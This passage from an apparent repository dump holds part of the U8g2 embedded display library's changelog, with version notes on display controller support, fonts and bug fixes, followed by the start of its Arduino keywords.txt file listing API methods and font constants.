147)\n  * Fixed a bug in the draw pixel procedure which appears in full buffer mode,\n    if the display width is not a multiple of 8 (issue 148)\n  * Added XOR mode (setDrawColor 2, issue 56)\n2017-01-15\tv2.12.6\t  olikraus@gmail.com\n  * Support for SSD1309 (issue 113)\n  * Enabled U8G2_HVLINE_SPEED_OPTIMIZATION (not sure why this was disabled)\n  * Improved speed for ST7920 (up to 40%, issue 151)\n  * Support for IST3020 (issue 153)\n2017-02-07\tv2.13.6\t  olikraus@gmail.com\n  * Support for ST7588 (issue 154)\n  * ESP8266: Avoid RAM copy of the fonts (issue 159)\n  * Support for SSD1607 (issue 133)\n  * Support for hardware pin remapping on the ESP8266 (issue 158)\n  * Bugfix for the KS0108 support (issue 168)\n  * More fonts: https://github.com/olikraus/u8g2/wiki/fntgrpnbp (issue 174)\n2017-03-11\tv2.14.7\t  olikraus@gmail.com\n  * Bugfix: setFont does no longer resets the reference position (issue 195)\n  * Support for ST7565 NHD C12864 (issue 186)\n  * Support for SSD1329 128x96 OLED (issue 208)\n  * Support for LC7981 240x128 (issue 193)\n  * Performance improvement for the ST7920 (issue 200)\n2017-05-22\tv2.15.2\t  olikraus@gmail.com\n  * Added setBitmapMode (pull request 220)\n     Warning: Default behavior of drawXBM has changed in this release.\n  * Increased SPI speed to 8MHz for SSD1306, SH1106 and SSD1322 (issue 215)\n  * Added some more examples (issue 216)\n  * Added Urdu, Bengali, Hebrew and Polish language fonts (issues 221, 246 and 266)\n  * Added more examples (issue 216)\n  * Updated code for NHD C12864 (issues 219 and 241)\n  * Improved speed for HW SPI with SSD13xx OLEDs (issue 215)\n2017-08-12\tv2.16.9\t  olikraus@gmail.com\n  * Fonts u8g2_font_unifont_t_korean1, u8g2_font_unifont_t_korean2 (issue 266)\n  * Added support for 64128N ST7565 based display (issue 292)\n  * Added extended fonts (_te, unicodes 32-701, issue 284)\n  * Added support for MAX7219 (issue 280)\n  * Performance optimization for SSD1322/25/27  (issue 302)\n  * Fixed setContrast for SSD1322 (issue 328)\n  * Support for 96x16 SSD1306 OLED (issue 295)\n  * Fixed OldStandard-Bold fonts (osb, issue 306)\n  * Support for SED1520/SBN1661 (issue 324)\n2017-09-10\tv2.17.11   olikraus@gmail.com\n  * Additional _m_  and _h_ symbol fonts (issue 335)\n  * Added parallel interfaces for several UC16xx devices (issue 339)\n  * Support for IL3820, WaveShare 2.9\" e-paper (issues 318 & 347)\n  * Improved debounce algorithm (issue 338)\n  * Power save mode for SSD1607 device (issue 352)\n2017-09-30\tv2.18.13   olikraus@gmail.com\n  * Support for ST7567_JLX12864 (issue 365)\n  * Support for UC1611 (no \"s\") (issue 339)\n  * Fixed several issues related to the _F_ (full buffer) mode (issue 370)\n2017-10-13\tv2.19.8   olikraus@gmail.com\n  * Support for UC1601 (issue 378)\n  * Support for ESP32 I2C pin remapping (issue 377)\n  * Support for ST75256 (SPI), JLX256128, JLX172104 (issue 163)\n  * Added uw-ttyp0 fonts (issue 349)\n2017-12-09\tv2.20.13   olikraus@gmail.com\n  * Bugfix for drawBitmap (issue 391)\n  * I2C support for ST75256 (issue 384)\n  * Support for SSD1327 128x128 display (issue 397)\n  * Support for ST75256 JLX25664 display (issue 399)\n  * Added keywords.txt  (issue 402)\n  * Experimental support for SSD1326 (issue 398)\n  * Experimental alternative COM config for SSD1306 128x64 (issue 408)\n  * New SH1106 init sequence (SH1106_WINSTAR, issue 316)\n  * Support for SSD1322 NHD 128x64 (issue 412)\n  * Fixed profont17 (issue 438)\n2018-02-18\tv2.21.8  olikraus@gmail.com\n  * Support for SH1107 (issue 501)\n  * Support for HX1230 (issue 469)\n  * Bugfix for displays with display height not a multiple of 8 (issue 469)\n  * FontUsage demo for full buffer mode (issue 490) \n  * Added 1x2 (double height) draw procedures to U8x8 (issue 474)\n    With this feature a 128x32 display can replace a 16x2 Char LCD.\n  * New constructor for the Good Display 200x200 eInk (issue 454)\n  * Update for the ST7920 device for more stable output (issue 487)\n  * Double height (2x1) chars for U8x8 API (issue 474)\n  * Excluded I2C for several ATMega uC which do not have HW I2C (issue 508)\n  * Fixed UC1610 contrast command (issue 428)\n  * Added WQY Chinese fonts at sizes 12, 13, 14, 15 and 16 \n     including gb2312 support (issue 455)\n  * Added new full buffer demo for the Chinese fonts (Shennong.ino, issue #455)\n  * Added siji icon font u8g2_font_siji_t_6x10 (issue 451)\n2018-04-30\tv2.22.18  olikraus@gmail.com\n  * Bugfix for draw1x2string (u8x8 API)\n  * Changed return value for \"begin()\" (issue 518)\n  * New feature: U8log, https://github.com/olikraus/u8g2/wiki/u8logreference\n  * Added SSD1306 128x64 Adafruit OLED (issue 521)\n  * Added Winstart SSD1306 64x48 OLED variant (issue 522)\n  * Added support for JLX240160 (issue 556)\n  * Added support for JLX12864 (ST7565 variant, issue 440)\n  * Added support for JLX256160 (issue 561)\n  * Added support for SH1122 256x64 OLED (issue 420)\n  * Added open iconic icons (issue 535)\n  * Added several Persian fonts (issue 541)\n  * Added additional Japanese font variants (issue 581)\n  * Added Devanagari/Hindi font variant (issue 584)\n  * Added tom-thumb font (issue 563)\n  * Added AVR specific optimization for 3-wire Software SPI (issue 586)\n2018-08-24\tv2.23.18  olikraus@gmail.com\n  * NEW FONT FORMAT for speedup of the unicode font section (issue 596)  \n  * Fixed a bug in the font construction for monospaced fonts (issue 669) \n  * Fixed a bug with the CS line for huge KS0108 displays (issue 631)\n  * Fixed #if's for some AVR uC (issue 662)\n  * Added support for SH1108 controller (issue 619)\n  * Added support for T6963 160x80 Displays (issue 635)\n  * Added support for EA W128128 (issue 641)\n  * Added support for LC7981 240x64 (issue 642)  \n  * Added support for ST7567 ENH-DG128064 (issue 616)\n  * Included pull request for ST7586, support for ERC240160 & s028hn118a (pull request 660)\n  * Added SpaceTrash game (issue 622)\n  * Added contributed 7-segment font, https://github.com/olikraus/u8g2/wiki/fntgrpu8g#7segments_26x42 (issue 634)\n  * Added several fonts from fontstruct.com, https://github.com/olikraus/u8g2/wiki/fntgrpfontstruct (issue 687)#\n    This also includes several outline fonts.\n2018-10-28\tv2.24.3  olikraus@gmail.com\n  * Added clip window support (issue 364)\n  * Added setBusClock() proc to change the I2C/SPI bus clock speed (Arduino only, issue 705)\n  * Added sleep mode for ST7920 (issue 245)\n  * Added support for SSD0323 (issue 720)\n2019-02-09\tv2.25.10  olikraus@gmail.com\n  * Improved speed for I2C with SSD1306 controller: 4% faster now (issue 735)\n  * Fixed code problems (issues 766 and 754)  \n  * Added battery symbols and emoticons (issue 747)\n  * New U8x8 font format, added large U8x8 fonts (issue 771)\n  * Added alternative version for ERC12864 (issue 790)\n  * Added Waveshare SSD1607 200x200 support (issue 637)\n  * Added support for SSD1318 (issue 784)\n  * Partial display update with updateDisplayArea (issue 736)\n  * Several new decorative and fancy fonts from pentacom.jp (issue 801)\n2019-06-30\tv2.26.14  olikraus@gmail.com\n  * Support for Pimoroni 128x128 OLED SH1107 (issue 803)\n  * Support for Grove 128x128 OLED SH1107 (issue 877)\n  * Support for Winstar 256x128 ST75256 (ST75256_WO256X128, issue 891)\n  * Bugfix: Open Iconic 1x for U8x8 (issue 828)\n  * Added sendF command for direct communication with the display (issues 822, 878, 896)\n  * Support for CG160160 UC1611 (issue 884)\n  * Support for LM6063 128x64 ST7565  (issue 893)\n  * Added fonts from pentacom (issue 810)\n  * Support for ST7511 (issue 876)\n  * Support for SSD1316 132x32 (issue 919)\n  * Support for ST75320 (issue 921)\n  * Added JLX256160M for mirrored version of the JLX256160 display (issue 930)\n  * Unifont update to 12.1.02, added several plane 1 fonts (issue 931)\n  * bdfconv.exe: Windows exe created, bugfix with -d option (issue 833)\n2020-01-27\tv2.27.6\tolikraus@gmail.com\n  * Support for IST7920 (issue 999). Note: IST7920 has nothing todo with ST7920\n  * Added screenshot/screencapture for full buffer mode (issue 1005)\n      See: https://github.com/olikraus/u8g2/wiki/u8g2reference#writebufferpbm\n  * Bugfix for draw 1x2 and 2x2 procedures for big 8x8 fonts (issue 1054)\n  * Added fast software SPI support for Arduino Nano Every (issue 987)\n  * Added \"LoadFromSD\" example to demonstrate reading XBM binary from SD card (issue #1059)\n  * Added png to XBM binary conversion tool (https://github.com/olikraus/u8g2/tree/master/tools/png2bin)\n  * Support for SSD1306 72x40 (issue 1047)\n  * Bugfix for print() and setFontDirection() (issue 963)\n  * Support for Visionox SSD1327 128x96 OLED (issue 1090)\n  * Support for Open-Smart ST7567 128x64 LCD (issue 1088)\n  * Added Lucida X11 fonts (issue 271)\n  * Added several fonts from dafont.com (issue 1093)\n  * Added 3-wire HW SPI (issue 1041)\n2020-12-28\tv2.28.10\tolikraus@gmail.com\n  * Added Euro Symbol to _te fonts (issue 1321) \n  * Added support for ST7528 (issue 986) \n  * Added support for ST7571 (issue 1298) \n  * Added support for ST7586 YMC240160 (issue 1183)\n  * Added support for UC1617 JLX128128 (issue 1151)\n  * Added support for SH1106 Visionox 128X32 (issue 1250)\n  * Added support for Raystar SSD1305 (issue 1111)\n  * Added support for KS0713 controller (issue 1314)\n  * Added support for ST7567_HEM6432 (issue 1159)\n  * U8g2 16 Bit Mode enabled by default for ARM and ESP Systems (issue 1222)\n2021-09-03\tv2.29.11\tolikraus@gmail.com\n  * Update for getStrWidth/getUTF8Width: The new return value might be little bit larger (issue 1561)\n  * New draw procedure drawButtonUTF8 (issue 1577)\n  * Added vertical mirror option U8G2_MIRROR_VERTICAL for u8g2 (mattnutsch@gmail.com, issue 1474).\n  * Added support for UC1638 based 196x96 display (issue 371)\n  * Added support for HD44102 and T7932 displays (issue 1492)\n  * Added support for SSD1320 (issue 1351)\n  * Added support for S1D15721 (issue 1473)\n  * Added support for SSD1306 EA OLEDS102 (issue 1493)\n  * Added support for UC1601 128x64 (issue 1501)\n  * Font Wiki page splitted into four sub-pages to avoid the GitHub 'abuse' message.\n2021-09-07\tv2.30.1\tolikraus@gmail.com\n  * Bugfix drawButtonUTF8 (added C++ code, issue 1577)\n2021-09-19\tv2.31.1\tolikraus@gmail.com\n  * Added icons from https://app.streamlinehq.com/icons/pixel (issue 1589)\n2021-09-20\tv2.31.2\tolikraus@gmail.com\n  * Bugfix release for include error (issues 1592 and 1594)\n2022-04-03      v2.32.15  olikraus@gmail.com\n  * SH1107 128x80 (issue 1598)\n  * ST7920 256x32 (issue 1593)\n  * ST7567 122x32 (issue 1759)\n  * ST7571 128X96 (issue 1575)\n  * SSD1312 (issue 1806)\n  * ST7571 128x128 (bugfix issue 1576)\n  * Added support for UC1609 (issue 1565)\n  * Added support for GU800 series of Vacuum Fluorescent Displays (VFD, issue 1604)\n  * Changed SPI Mode for Sharp displays (ls013..., issue 1771)\n  * Added many more fonts (issues 1794, 1775, 1706, 1769)\n  * Fixed several bugs and compiler errors\n2022-09-04      v2.33.15 olikraus@gmail.com\n  * ST7567 ERC13232 (issue 1869)\n  * Bugfix for ST7567: (re-)added I2C and 3-wire-SPI (issue 1939)\n  * ST7920 160x32 (issue 1873)\n  * ST7586 JLX384160 (issue 1932)\n  * LC7981 128X128, NOT TESTED (issue 1913)\n  * SSD1316 96x32 (issue 1938, not tested, moved to 2.34.x)\n  * GP1287AI 256X50, GP1247AI 253X63 contributed (issue 1907)\n  * Added support for IST3088 (issue 1887) \n  * Double size font functions: drawGlyphX2, drawStrX2, drawUTF8X2 (issue 1919)\n  * Experimental support for ST75160, TESTING REQUIRED (issue 1642)\n  * Bugfix font compression: Reduced fontsize by up to 4% (issue 1941)\n  * Changed SPI mode for SH1106 from 3 to 0 (issue 1901)\n2023-06-18      v2.34.22 olikraus@gmail.com\n  * SSD1327 ZJY M150 128x128 (issue 1960)\n  * SSD1316 96x32 (issue 1938)\n  * SSD1322 240x128 (issue 2092)\n  * SH1108 128x160 (issue 1998)\n  * SSD1306 96x39 (issue 1959)\n  * S1D15300 128x64, flip mode 1 not supported, (issue 2063)\n  * SSD1362 256x64 (issue 1322, issue 2051)\n  * ST75256 JLX160x80 (NOT TESTED, issue 2058)\n  * UC1638 240x128 (issue 2075)\n  * SED1330 320x200 (issue 1086)\n  * Bugfix: Clear font_height_mode during setup to ensure correct default values in \n     cases where the u8g2 struct / class is created via dynamic memory allocation (issue 2046)\n  * Bugfix: Fix line draw procedure in 16 bit mode (issue 2053)\n  * Added Spleen Monospaced Font from https://github.com/fcambus/spleen (issue 2015)\n  * Extended the \"E\" font range with subscript characters if available in the original font (issue 2079)\n  * Bugfix for ESP32 HW SPI Pin Remapping (issue 377, PR 2123)\n  * Bugfix for LoadFromSD examle (issue 2179)\n  * Changed MUI_LABEL to support UTF8 (issue 2196)\n  * Compiler Warning Cleanup for polygon draw (issue 1999, PR 2101)\n  * Added MUI fixed width bar graph (issue 2200)\n  * Added 04b fonts from u8glib (issue 2157)\n  * Added \"font_tiny5\" (issue 2185)\n  * Added MUI (https://github.com/olikraus/u8g2/wiki/muimanual) examples (issue 1747)\n  \n"
  },
  {
    "path": "Bibliotecas/U8g2/keywords.txt",
    "content": "#######################################\n\n# Syntax Coloring Map For u8g2\n\n####################################### \n\n# Class (KEYWORD1)\n\n#######################################\n\n\n\nu8g2\tKEYWORD1\n\n\n\n#######################################\n\n# Methods and Functions (KEYWORD2)\n\n#######################################\t\n\n\nbegin\tKEYWORD2\n\nclear\tKEYWORD2\nclearBuffer\tKEYWORD2\nclearDisplay\tKEYWORD2\ndisableUTF8Print\tKEYWORD2\ndrawBitmap\tKEYWORD2\ndrawBox\tKEYWORD2\ndrawCircle\tKEYWORD2\ndrawDisc\tKEYWORD2\ndrawEllipse\tKEYWORD2\ndrawFilledEllipse\tKEYWORD2\ndrawFrame\tKEYWORD2\ndrawGlyph\tKEYWORD2\ndrawHLine\tKEYWORD2\ndrawLine\tKEYWORD2\ndrawPixel\tKEYWORD2\ndrawRBox\tKEYWORD2\ndrawRFrame\tKEYWORD2\ndrawStr\tKEYWORD2\ndrawTriangle\tKEYWORD2\ndrawUTF8\tKEYWORD2\ndrawVLine\tKEYWORD2\ndrawXBM\tKEYWORD2\nenableUTF8Print\tKEYWORD2\nfirstPage\tKEYWORD2\ngetAscent\tKEYWORD2\ngetDescent\tKEYWORD2\ngetDisplayHeight\tKEYWORD2\ngetDisplayWidth\tKEYWORD2\ngetMaxCharHeight\tKEYWORD2\ngetMaxCharWidth\tKEYWORD2\ngetMenuEvent\tKEYWORD2\ngetStrWidth\tKEYWORD2\ngetUTF8Width\tKEYWORD2\nhome\tKEYWORD2\ninitDisplay\tKEYWORD2\nnextPage\tKEYWORD2\nprint\tKEYWORD2\nsendBuffer\tKEYWORD2\nsetAutoPageClear\tKEYWORD2\nsetBitmapMode\tKEYWORD2\nsetBusClock\tKEYWORD2\nsetClipWindow\tKEYWORD2\nsetContrast\tKEYWORD2\nsetCursor\tKEYWORD2\nsetDisplayRotation\tKEYWORD2\nsetDrawColor\tKEYWORD2\nsetFlipMode\tKEYWORD2\nsetFont\tKEYWORD2\nsetFontDirection\tKEYWORD2\nsetFontMode\tKEYWORD2\nsetFontPosBaseline\tKEYWORD2\nsetFontPosBottom\tKEYWORD2\nsetFontPosTop\tKEYWORD2\nsetFontPosCenter\tKEYWORD2\nsetFontRefHeightAll\tKEYWORD2\nsetFontRefHeightExtendedText\tKEYWORD2\nsetFontRefHeightText\tKEYWORD2\nsetI2CAddress\tKEYWORD2\nsetMaxClipWindow\tKEYWORD2\nsetPowerSave\tKEYWORD2\nupdateDisplay\tKEYWORD2\nupdateDisplayArea\tKEYWORD2\nwriteBufferPBM\tKEYWORD2\nwriteBufferXBM\tKEYWORD2\nwriteBufferPBM2\tKEYWORD2\nwriteBufferXBM2\tKEYWORD2\n\nuserInterfaceInputValue\tKEYWORD2\nuserInterfaceMessage\tKEYWORD2\nuserInterfaceSelectionList\tKEYWORD2\n\ngetBufferSize\tKEYWORD2\nsetBufferPtr\tKEYWORD2\ngetBufferPtr\tKEYWORD2\ngetBufferTileHeight\tKEYWORD2\ngetBufferTileWidth\tKEYWORD2\ngetBufferCurrTileRow\tKEYWORD2\nsetBufferCurrTileRow\tKEYWORD2\n\n#######################################\n# Constants (LITERAL1)\n#######################################\n \n\nu8g2_font_u8glib_4_tf\tLITERAL1\nu8g2_font_u8glib_4_tr\tLITERAL1\nu8g2_font_u8glib_4_hf\tLITERAL1\nu8g2_font_u8glib_4_hr\tLITERAL1\nu8g2_font_m2icon_5_tf\tLITERAL1\nu8g2_font_m2icon_7_tf\tLITERAL1\nu8g2_font_m2icon_9_tf\tLITERAL1\nu8g2_font_emoticons21_tr\tLITERAL1\nu8g2_font_battery19_tn\tLITERAL1\nu8g2_font_battery24_tr\tLITERAL1\nu8g2_font_squeezed_r6_tr\tLITERAL1\nu8g2_font_squeezed_r6_tn\tLITERAL1\nu8g2_font_squeezed_b6_tr\tLITERAL1\nu8g2_font_squeezed_b6_tn\tLITERAL1\nu8g2_font_squeezed_r7_tr\tLITERAL1\nu8g2_font_squeezed_r7_tn\tLITERAL1\nu8g2_font_squeezed_b7_tr\tLITERAL1\nu8g2_font_squeezed_b7_tn\tLITERAL1\nu8g2_font_percent_circle_25_hn\tLITERAL1\nu8g2_font_freedoomr10_tu\tLITERAL1\nu8g2_font_freedoomr10_mu\tLITERAL1\nu8g2_font_freedoomr25_tn\tLITERAL1\nu8g2_font_freedoomr25_mn\tLITERAL1\nu8g2_font_7Segments_26x42_mn\tLITERAL1\nu8g2_font_7_Seg_33x19_mn\tLITERAL1\nu8g2_font_7_Seg_41x21_mn\tLITERAL1\nu8g2_font_tiny5_tf\tLITERAL1\nu8g2_font_tiny5_tr\tLITERAL1\nu8g2_font_04b_03b_tr\tLITERAL1\nu8g2_font_04b_03_tr\tLITERAL1\nu8g2_font_amstrad_cpc_extended_8f\tLITERAL1\nu8g2_font_amstrad_cpc_extended_8r\tLITERAL1\nu8g2_font_amstrad_cpc_extended_8n\tLITERAL1\nu8g2_font_amstrad_cpc_extended_8u\tLITERAL1\nu8x8_font_amstrad_cpc_extended_f\tLITERAL1\nu8x8_font_amstrad_cpc_extended_r\tLITERAL1\nu8x8_font_amstrad_cpc_extended_n\tLITERAL1\nu8x8_font_amstrad_cpc_extended_u\tLITERAL1\nu8g2_font_cursor_tf\tLITERAL1\nu8g2_font_cursor_tr\tLITERAL1\nu8g2_font_micro_tr\tLITERAL1\nu8g2_font_micro_tn\tLITERAL1\nu8g2_font_micro_mr\tLITERAL1\nu8g2_font_micro_mn\tLITERAL1\nu8g2_font_4x6_tf\tLITERAL1\nu8g2_font_4x6_tr\tLITERAL1\nu8g2_font_4x6_tn\tLITERAL1\nu8g2_font_4x6_mf\tLITERAL1\nu8g2_font_4x6_mr\tLITERAL1\nu8g2_font_4x6_mn\tLITERAL1\nu8g2_font_4x6_t_cyrillic\tLITERAL1\nu8g2_font_5x7_tf\tLITERAL1\nu8g2_font_5x7_tr\tLITERAL1\nu8g2_font_5x7_tn\tLITERAL1\nu8g2_font_5x7_mf\tLITERAL1\nu8g2_font_5x7_mr\tLITERAL1\nu8g2_font_5x7_mn\tLITERAL1\nu8x8_font_5x7_f\tLITERAL1\nu8x8_font_5x7_r\tLITERAL1\nu8x8_font_5x7_n\tLITERAL1\nu8g2_font_5x7_t_cyrillic\tLITERAL1\nu8g2_font_5x8_tf\tLITERAL1\nu8g2_font_5x8_tr\tLITERAL1\nu8g2_font_5x8_tn\tLITERAL1\nu8g2_font_5x8_mf\tLITERAL1\nu8g2_font_5x8_mr\tLITERAL1\nu8g2_font_5x8_mn\tLITERAL1\nu8x8_font_5x8_f\tLITERAL1\nu8x8_font_5x8_r\tLITERAL1\nu8x8_font_5x8_n\tLITERAL1\nu8g2_font_5x8_t_cyrillic\tLITERAL1\nu8g2_font_6x10_tf\tLITERAL1\nu8g2_font_6x10_tr\tLITERAL1\nu8g2_font_6x10_tn\tLITERAL1\nu8g2_font_6x10_mf\tLITERAL1\nu8g2_font_6x10_mr\tLITERAL1\nu8g2_font_6x10_mn\tLITERAL1\nu8g2_font_6x12_tf\tLITERAL1\nu8g2_font_6x12_tr\tLITERAL1\nu8g2_font_6x12_tn\tLITERAL1\nu8g2_font_6x12_te\tLITERAL1\nu8g2_font_6x12_mf\tLITERAL1\nu8g2_font_6x12_mr\tLITERAL1\nu8g2_font_6x12_mn\tLITERAL1\nu8g2_font_6x12_me\tLITERAL1\nu8g2_font_6x12_t_symbols\tLITERAL1\nu8g2_font_6x12_m_symbols\tLITERAL1\nu8g2_font_6x12_t_cyrillic\tLITERAL1\nu8g2_font_6x13_tf\tLITERAL1\nu8g2_font_6x13_tr\tLITERAL1\nu8g2_font_6x13_tn\tLITERAL1\nu8g2_font_6x13_te\tLITERAL1\nu8g2_font_6x13_mf\tLITERAL1\nu8g2_font_6x13_mr\tLITERAL1\nu8g2_font_6x13_mn\tLITERAL1\nu8g2_font_6x13_me\tLITERAL1\nu8g2_font_6x13_t_hebrew\tLITERAL1\nu8g2_font_6x13_t_cyrillic\tLITERAL1\nu8g2_font_6x13B_tf\tLITERAL1\nu8g2_font_6x13B_tr\tLITERAL1\nu8g2_font_6x13B_tn\tLITERAL1\nu8g2_font_6x13B_mf\tLITERAL1\nu8g2_font_6x13B_mr\tLITERAL1\nu8g2_font_6x13B_mn\tLITERAL1\nu8g2_font_6x13B_t_hebrew\tLITERAL1\nu8g2_font_6x13B_t_cyrillic\tLITERAL1\nu8g2_font_6x13O_tf\tLITERAL1\nu8g2_font_6x13O_tr\tLITERAL1\nu8g2_font_6x13O_tn\tLITERAL1\nu8g2_font_6x13O_mf\tLITERAL1\nu8g2_font_6x13O_mr\tLITERAL1\nu8g2_font_6x13O_mn\tLITERAL1\nu8g2_font_7x13_tf\tLITERAL1\nu8g2_font_7x13_tr\tLITERAL1\nu8g2_font_7x13_tn\tLITERAL1\nu8g2_font_7x13_te\tLITERAL1\nu8g2_font_7x13_mf\tLITERAL1\nu8g2_font_7x13_mr\tLITERAL1\nu8g2_font_7x13_mn\tLITERAL1\nu8g2_font_7x13_me\tLITERAL1\nu8g2_font_7x13_t_symbols\tLITERAL1\nu8g2_font_7x13_m_symbols\tLITERAL1\nu8g2_font_7x13_t_cyrillic\tLITERAL1\nu8g2_font_7x13B_tf\tLITERAL1\nu8g2_font_7x13B_tr\tLITERAL1\nu8g2_font_7x13B_tn\tLITERAL1\nu8g2_font_7x13B_mf\tLITERAL1\nu8g2_font_7x13B_mr\tLITERAL1\nu8g2_font_7x13B_mn\tLITERAL1\nu8g2_font_7x13O_tf\tLITERAL1\nu8g2_font_7x13O_tr\tLITERAL1\nu8g2_font_7x13O_tn\tLITERAL1\nu8g2_font_7x13O_mf\tLITERAL1\nu8g2_font_7x13O_mr\tLITERAL1\nu8g2_font_7x13O_mn\tLITERAL1\nu8g2_font_7x14_tf\tLITERAL1\nu8g2_font_7x14_tr\tLITERAL1\nu8g2_font_7x14_tn\tLITERAL1\nu8g2_font_7x14_mf\tLITERAL1\nu8g2_font_7x14_mr\tLITERAL1\nu8g2_font_7x14_mn\tLITERAL1\nu8g2_font_7x14B_tf\tLITERAL1\nu8g2_font_7x14B_tr\tLITERAL1\nu8g2_font_7x14B_tn\tLITERAL1\nu8g2_font_7x14B_mf\tLITERAL1\nu8g2_font_7x14B_mr\tLITERAL1\nu8g2_font_7x14B_mn\tLITERAL1\nu8g2_font_8x13_tf\tLITERAL1\nu8g2_font_8x13_tr\tLITERAL1\nu8g2_font_8x13_tn\tLITERAL1\nu8g2_font_8x13_te\tLITERAL1\nu8g2_font_8x13_mf\tLITERAL1\nu8g2_font_8x13_mr\tLITERAL1\nu8g2_font_8x13_mn\tLITERAL1\nu8g2_font_8x13_me\tLITERAL1\nu8g2_font_8x13_t_symbols\tLITERAL1\nu8g2_font_8x13_m_symbols\tLITERAL1\nu8g2_font_8x13_t_cyrillic\tLITERAL1\nu8g2_font_8x13B_tf\tLITERAL1\nu8g2_font_8x13B_tr\tLITERAL1\nu8g2_font_8x13B_tn\tLITERAL1\nu8g2_font_8x13B_mf\tLITERAL1\nu8g2_font_8x13B_mr\tLITERAL1\nu8g2_font_8x13B_mn\tLITERAL1\nu8g2_font_8x13O_tf\tLITERAL1\nu8g2_font_8x13O_tr\tLITERAL1\nu8g2_font_8x13O_tn\tLITERAL1\nu8g2_font_8x13O_mf\tLITERAL1\nu8g2_font_8x13O_mr\tLITERAL1\nu8g2_font_8x13O_mn\tLITERAL1\nu8g2_font_9x15_tf\tLITERAL1\nu8g2_font_9x15_tr\tLITERAL1\nu8g2_font_9x15_tn\tLITERAL1\nu8g2_font_9x15_te\tLITERAL1\nu8g2_font_9x15_mf\tLITERAL1\nu8g2_font_9x15_mr\tLITERAL1\nu8g2_font_9x15_mn\tLITERAL1\nu8g2_font_9x15_me\tLITERAL1\nu8g2_font_9x15_t_symbols\tLITERAL1\nu8g2_font_9x15_m_symbols\tLITERAL1\nu8g2_font_9x15_t_cyrillic\tLITERAL1\nu8g2_font_9x15B_tf\tLITERAL1\nu8g2_font_9x15B_tr\tLITERAL1\nu8g2_font_9x15B_tn\tLITERAL1\nu8g2_font_9x15B_mf\tLITERAL1\nu8g2_font_9x15B_mr\tLITERAL1\nu8g2_font_9x15B_mn\tLITERAL1\nu8g2_font_9x18_tf\tLITERAL1\nu8g2_font_9x18_tr\tLITERAL1\nu8g2_font_9x18_tn\tLITERAL1\nu8g2_font_9x18_mf\tLITERAL1\nu8g2_font_9x18_mr\tLITERAL1\nu8g2_font_9x18_mn\tLITERAL1\nu8g2_font_9x18B_tf\tLITERAL1\nu8g2_font_9x18B_tr\tLITERAL1\nu8g2_font_9x18B_tn\tLITERAL1\nu8g2_font_9x18B_mf\tLITERAL1\nu8g2_font_9x18B_mr\tLITERAL1\nu8g2_font_9x18B_mn\tLITERAL1\nu8g2_font_10x20_tf\tLITERAL1\nu8g2_font_10x20_tr\tLITERAL1\nu8g2_font_10x20_tn\tLITERAL1\nu8g2_font_10x20_te\tLITERAL1\nu8g2_font_10x20_mf\tLITERAL1\nu8g2_font_10x20_mr\tLITERAL1\nu8g2_font_10x20_mn\tLITERAL1\nu8g2_font_10x20_me\tLITERAL1\nu8g2_font_10x20_t_greek\tLITERAL1\nu8g2_font_10x20_t_cyrillic\tLITERAL1\nu8g2_font_10x20_t_arabic\tLITERAL1\nu8x8_font_8x13_1x2_f\tLITERAL1\nu8x8_font_8x13_1x2_r\tLITERAL1\nu8x8_font_8x13_1x2_n\tLITERAL1\nu8x8_font_8x13B_1x2_f\tLITERAL1\nu8x8_font_8x13B_1x2_r\tLITERAL1\nu8x8_font_8x13B_1x2_n\tLITERAL1\nu8x8_font_7x14_1x2_f\tLITERAL1\nu8x8_font_7x14_1x2_r\tLITERAL1\nu8x8_font_7x14_1x2_n\tLITERAL1\nu8x8_font_7x14B_1x2_f\tLITERAL1\nu8x8_font_7x14B_1x2_r\tLITERAL1\nu8x8_font_7x14B_1x2_n\tLITERAL1\nu8g2_font_siji_t_6x10\tLITERAL1\nu8g2_font_waffle_t_all\tLITERAL1\nu8g2_font_tom_thumb_4x6_t_all\tLITERAL1\nu8g2_font_tom_thumb_4x6_tf\tLITERAL1\nu8g2_font_tom_thumb_4x6_tr\tLITERAL1\nu8g2_font_tom_thumb_4x6_tn\tLITERAL1\nu8g2_font_tom_thumb_4x6_te\tLITERAL1\nu8g2_font_tom_thumb_4x6_mf\tLITERAL1\nu8g2_font_tom_thumb_4x6_mr\tLITERAL1\nu8g2_font_tom_thumb_4x6_mn\tLITERAL1\nu8g2_font_tom_thumb_4x6_me\tLITERAL1\nu8g2_font_mystery_quest_24_tf\tLITERAL1\nu8g2_font_mystery_quest_24_tr\tLITERAL1\nu8g2_font_mystery_quest_24_tn\tLITERAL1\nu8g2_font_mystery_quest_28_tf\tLITERAL1\nu8g2_font_mystery_quest_28_tr\tLITERAL1\nu8g2_font_mystery_quest_28_tn\tLITERAL1\nu8g2_font_mystery_quest_32_tr\tLITERAL1\nu8g2_font_mystery_quest_32_tn\tLITERAL1\nu8g2_font_mystery_quest_36_tn\tLITERAL1\nu8g2_font_mystery_quest_42_tn\tLITERAL1\nu8g2_font_mystery_quest_48_tn\tLITERAL1\nu8g2_font_mystery_quest_56_tn\tLITERAL1\nu8g2_font_t0_11_tf\tLITERAL1\nu8g2_font_t0_11_tr\tLITERAL1\nu8g2_font_t0_11_tn\tLITERAL1\nu8g2_font_t0_11_te\tLITERAL1\nu8g2_font_t0_11_mf\tLITERAL1\nu8g2_font_t0_11_mr\tLITERAL1\nu8g2_font_t0_11_mn\tLITERAL1\nu8g2_font_t0_11_me\tLITERAL1\nu8g2_font_t0_11_t_all\tLITERAL1\nu8g2_font_t0_11b_tf\tLITERAL1\nu8g2_font_t0_11b_tr\tLITERAL1\nu8g2_font_t0_11b_tn\tLITERAL1\nu8g2_font_t0_11b_te\tLITERAL1\nu8g2_font_t0_11b_mf\tLITERAL1\nu8g2_font_t0_11b_mr\tLITERAL1\nu8g2_font_t0_11b_mn\tLITERAL1\nu8g2_font_t0_11b_me\tLITERAL1\nu8g2_font_t0_12_tf\tLITERAL1\nu8g2_font_t0_12_tr\tLITERAL1\nu8g2_font_t0_12_tn\tLITERAL1\nu8g2_font_t0_12_te\tLITERAL1\nu8g2_font_t0_12_mf\tLITERAL1\nu8g2_font_t0_12_mr\tLITERAL1\nu8g2_font_t0_12_mn\tLITERAL1\nu8g2_font_t0_12_me\tLITERAL1\nu8g2_font_t0_12b_tf\tLITERAL1\nu8g2_font_t0_12b_tr\tLITERAL1\nu8g2_font_t0_12b_tn\tLITERAL1\nu8g2_font_t0_12b_te\tLITERAL1\nu8g2_font_t0_12b_mf\tLITERAL1\nu8g2_font_t0_12b_mr\tLITERAL1\nu8g2_font_t0_12b_mn\tLITERAL1\nu8g2_font_t0_12b_me\tLITERAL1\nu